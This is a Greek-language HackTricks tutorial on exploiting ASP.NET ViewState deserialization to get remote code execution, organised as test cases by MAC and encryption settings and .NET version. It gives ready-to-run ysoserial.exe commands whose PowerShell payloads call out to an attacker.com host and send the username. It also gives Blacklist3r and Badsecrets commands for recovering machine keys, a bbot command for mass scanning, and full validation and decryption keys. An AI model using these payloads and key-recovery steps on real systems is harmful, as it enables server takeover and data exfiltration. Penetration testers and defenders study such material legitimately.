Exploiting __VIEWSTATE without knowing the secrets

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Συμβουλή για bug bounty: Εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς! Γίνετε μέλος στο https://go.intigriti.com/hacktricks σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και $100,000!

Τι είναι το ViewState

Το ViewState λειτουργεί ως μηχανισμός προεπιλογής στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε όλες τις ιστοσελίδες. Κατά τη διάρκεια της απεικόνισης του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά την επιστροφή είναι σειριοποιημένες σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται στα κρυφά πεδία ViewState.

Οι πληροφορίες ViewState μπορούν να χαρακτηριστούν από τις ακόλουθες ιδιότητες ή τις συνδυασμένες τους:

  • Base64:

  • Αυτή η μορφή χρησιμοποιείται όταν τόσο οι χαρακτηριστικές EnableViewStateMac και ViewStateEncryptionMode είναι ρυθμισμένες σε false.

  • Base64 + MAC (Message Authentication Code) Ενεργοποιημένο:

  • Η ενεργοποίηση του MAC επιτυγχάνεται με τη ρύθμιση της χαρακτηριστικής EnableViewStateMac σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα ViewState.

  • Base64 + Κρυπτογραφημένο:

  • Η κρυπτογράφηση εφαρμόζεται όταν η χαρακτηριστική ViewStateEncryptionMode είναι ρυθμισμένη σε true, εξασφαλίζοντας την εμπιστευτικότητα των δεδομένων ViewState.

Δοκιμές Ελέγχου

Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET βασισμένο στην έκδοση του πλαισίου .NET. Εδώ υπάρχει μια περίληψη του περιεχομένου:

  1. Για οποιαδήποτε έκδοση του .NET, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και συνεπώς δεν υπάρχει καμία εφαρμόσιμη μέθοδος για την αναγνώρισή της.

  2. Για έκδοση κάτω του 4.5, αν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση όχι, απαιτείται ένα MachineKey. Η μέθοδος για την αναγνώριση του MachineKey αναφέρεται ως "Blacklist3r."

  3. Για έκδοση κάτω του 4.5, ανεξάρτητα από το αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, αν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται ένα MachineKey. Η αναγνώριση του MachineKey είναι εργασία για το "Blacklist3r - Μελλοντική Ανάπτυξη."

  4. Για έκδοση 4.5 και πάνω, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και τα δύο είναι true, είτε ένα είναι true και το άλλο false) απαιτούν ένα MachineKey. Το MachineKey μπορεί να αναγνωριστεί χρησιμοποιώντας το "Blacklist3r."

Δοκιμή Περίπτωσης: 1 – EnableViewStateMac=false και viewStateEncryptionMode=false

Είναι επίσης δυνατό να απενεργοποιηθεί πλήρως το ViewStateMAC καθορίζοντας το κλειδί καταχώρισης AspNetEnforceViewStateMac σε μηδέν στο:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Αναγνώριση Χαρακτηριστικών του ViewState

Μπορείτε να προσπαθήσετε να αναγνωρίσετε εάν το ViewState προστατεύεται από MAC, αιχμαλωτίζοντας ένα αίτημα που περιέχει αυτήν την παράμετρο με το BurpSuite. Εάν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να την εκμεταλλευτείτε χρησιμοποιώντας το YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Οι προγραμματιστές μπορούν να αφαιρέσουν το ViewState από το HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie). Μπορεί κάποιος να υποθέσει ότι αν το ViewState δεν υπάρχει, η υλοποίησή τους είναι ασφαλής από οποιεσδήποτε πιθανές ευπάθειες που προκύπτουν με την αποσειριοποίηση του ViewState. Ωστόσο, αυτό δεν ισχύει. Αν προσθέσουμε την παράμετρο ViewState στο σώμα του αιτήματος και στείλουμε τον σειριοποιημένο φορτίο που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα είμαστε ακόμα σε θέση να επιτύχουμε εκτέλεση κώδικα όπως φαίνεται στην Περίπτωση 1.

Περίπτωση Δοκιμής: 2 - .Net < 4.5 και EnableViewStateMac=true & ViewStateEncryptionMode=false

Για να ενεργοποιήσουμε το ViewState MAC για μια συγκεκριμένη σελίδα πρέπει να κάνουμε τις ακόλουθες αλλαγές σε ένα συγκεκριμένο αρχείο aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Μπορούμε επίσης να το κάνουμε για τη συνολική εφαρμογή ρυθμίζοντάς το στο αρχείο web.config όπως φαίνεται παρακάτω:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Δεδομένου ότι ο παράμετρος προστατεύεται από MAC αυτή τη φορά, για να εκτελέσουμε με επιτυχία την επίθεση πρέπει πρώτα να βρούμε το χρησιμοποιούμενο κλειδί.

Μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το Blacklist3r(AspDotNetWrapper.exe) για να βρείτε το χρησιμοποιούμενο κλειδί.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets είναι ένα άλλο εργαλείο που μπορεί να αναγνωρίσει γνωστά machineKeys. Γράφτηκε σε Python, οπότε αντίθετα με το Blacklist3r, δεν υπάρχει εξάρτηση από τα Windows. Για τα viewstates του .NET, υπάρχει ένα χρήσιμο "εργαλείο python blacklist3r", το οποίο είναι ο γρηγορότερος τρόπος να το χρησιμοποιήσετε.

Μπορεί να παρασχεθεί είτε με το viewstate και τον γεννήτορα απευθείας:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Ή, μπορεί να συνδεθεί απευθείας στον στόχο URL και να προσπαθήσει να ανακόψει το viewstate από το HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Για να αναζητήσετε ευάλωτα viewstates σε μεγάλη κλίμακα, σε συνδυασμό με την απαρίθμηση υποτομέων, μπορεί να χρησιμοποιηθεί το badsecrets BBOT module:

bbot -f subdomain-enum -m badsecrets -t evil.corp
https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Αν είστε τυχεροί και βρείτε το κλειδί, μπορείτε να προχωρήσετε στην επίθεση χρησιμοποιώντας το YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

Σε περιπτώσεις όπου ο παράμετρος _VIEWSTATEGENERATOR δεν αποστέλλεται από τον διακομιστή δεν χρειάζεται να παρέχετε την παράμετρο --generator αλλά αυτές:

--apppath="/" --path="/hello.aspx"

Περίπτωση Δοκιμής: 3 - .Net < 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true

Σε αυτήν την περίπτωση δεν είναι γνωστό αν η παράμετρος προστατεύεται με MAC. Στη συνέχεια, η τιμή πιθανότατα είναι κρυπτογραφημένη και θα χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας για να εκμεταλλευτείτε την ευπάθεια.

Σε αυτήν την περίπτωση το Blacklist3r module είναι υπό ανάπτυξη...

Πριν το .NET 4.5, το ASP.NET μπορεί να δεχτεί μια μη κρυπτογραφημένη παράμετρο ___VIEWSTATE_ από τους χρήστες ακόμα κι αν έχει οριστεί ViewStateEncryptionMode σε Always. Το ASP.NET ελέγχει μόνο την παρουσία της παραμέτρου __VIEWSTATEENCRYPTED στο αίτημα. Αν κάποιος αφαιρέσει αυτήν την παράμετρο και στείλει το μη κρυπτογραφημένο payload, αυτό θα επεξεργαστεί ακόμα.

Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να λάβουν το Machinekey μέσω μιας άλλης ευπάθειας όπως η διάβαση αρχείων, το YSoSerial.Net command που χρησιμοποιήθηκε στην Περίπτωση 2, μπορεί να χρησιμοποιηθεί για να πραγματοποιήσει RCE χρησιμοποιώντας την ευπάθεια αποσυσκευοποίησης ViewState.

  • Αφαιρέστε την παράμετρο __VIEWSTATEENCRYPTED από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυσκευοποίησης ViewState, διαφορετικά θα επιστρέψει ένα σφάλμα επικύρωσης MAC του Viewstate και η εκμετάλλευση θα αποτύχει.

Περίπτωση Δοκιμής: 4 - .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και τα δύο χαρακτηριστικά είναι false

Μπορούμε να επιβάλουμε τη χρήση του πλαισίου ASP.NET καθορίζοντας την παρακάτω παράμετρο μέσα στο αρχείο web.config όπως φαίνεται παρακάτω.

<httpRuntime targetFramework="4.5" />

Εναλλακτικά, αυτό μπορεί να γίνει καθορίζοντας την παρακάτω επιλογή μέσα στην παράμετρο machineKey του αρχείου web.config.

compatibilityMode="Framework45"

Όπως και στο προηγούμενο το value είναι κρυπτογραφημένο. Έπειτα, για να στείλει ένα έγκυρο payload ο επιτιθέμενος χρειάζεται το κλειδί.

Μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το Blacklist3r(AspDotNetWrapper.exe) για να βρείτε το κλειδί που χρησιμοποιείται:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Για μια πιο λεπτομερή περιγραφή για τα IISDirPath και TargetPagePath ανατρέξτε εδώ

Ή, με το Badsecrets (με μια τιμή γεννήτριας):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Αφού εντοπιστεί ένα έγκυρο κλειδί μηχανής, ο επόμενος βήμα είναι να δημιουργηθεί ένας σειριοποιημένος φορτίο χρησιμοποιώντας το YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Εάν έχετε την τιμή του __VIEWSTATEGENERATOR μπορείτε να δοκιμάσετε να χρησιμοποιήσετε την παράμετρο --generator με αυτήν την τιμή και να παραλείψετε τις παραμέτρους --path και --apppath

Μια επιτυχημένη εκμετάλλευση της ευπάθειας αποσυσκευοποίησης του ViewState θα οδηγήσει σε μια αίτηση εκτός ζώνης προς έναν διακεκριμένο από τον επιτιθέμενο διακεκριμένο διακομιστή, η οποία περιλαμβάνει το όνομα χρήστη. Αυτού του είδους η εκμετάλλευση παρουσιάζεται σε ένα απόδειξης έννοιας (PoC) η οποία μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Εκμετάλλευση αποσυσκευοποίησης ViewState χρησιμοποιώντας το Blacklist3r και το YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με τον τρόπο λειτουργίας της διαδικασίας εκμετάλλευσης και τον τρόπο χρήσης εργαλείων όπως το Blacklist3r για την εντοπισμό του MachineKey, μπορείτε να εξετάσετε την παρεχόμενη PoC επιτυχούς εκμετάλλευσης.

Περίπτωση Δοκιμής 6 – Χρήση του ViewStateUserKeys

Η ιδιότητα ViewStateUserKey μπορεί να χρησιμοποιηθεί για την προστασία ενάντια σε μια επίθεση CSRF. Εάν έχει οριστεί ένα τέτοιο κλειδί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το φορτίο ViewState με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το φορτίο δεν θα επεξεργαστεί από την εφαρμογή. Χρειάζεται να χρησιμοποιήσετε μια ακόμη παράμετρο για να δημιουργήσετε σωστά το φορτίο:

--viewstateuserkey="randomstringdefinedintheserver"

Αποτέλεσμα Επιτυχούς Εκμετάλλευσης

Για όλα τα σενάρια δοκιμών, εάν το ViewState YSoSerial.Net payload λειτουργεί επιτυχώς τότε ο διακομιστής ανταποκρίνεται με "500 Εσωτερικό σφάλμα διακομιστή" με περιεχόμενο απάντησης "Οι πληροφορίες κατάστασης δεν είναι έγκυρες για αυτήν τη σελίδα και ενδέχεται να είναι κατεστραμμένες" και λαμβάνουμε το OOB αίτημα.

Ελέγξτε για περισσότερες πληροφορίες εδώ

Αναφορές

Συμβουλή για ανταμοιβή ευρημάτων: Εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα ανταμοιβής ευρημάτων δημιουργημένη από χάκερς, για χάκερς! Γίνετε μέλος στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε ανταμοιβές μέχρι $100,000!

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated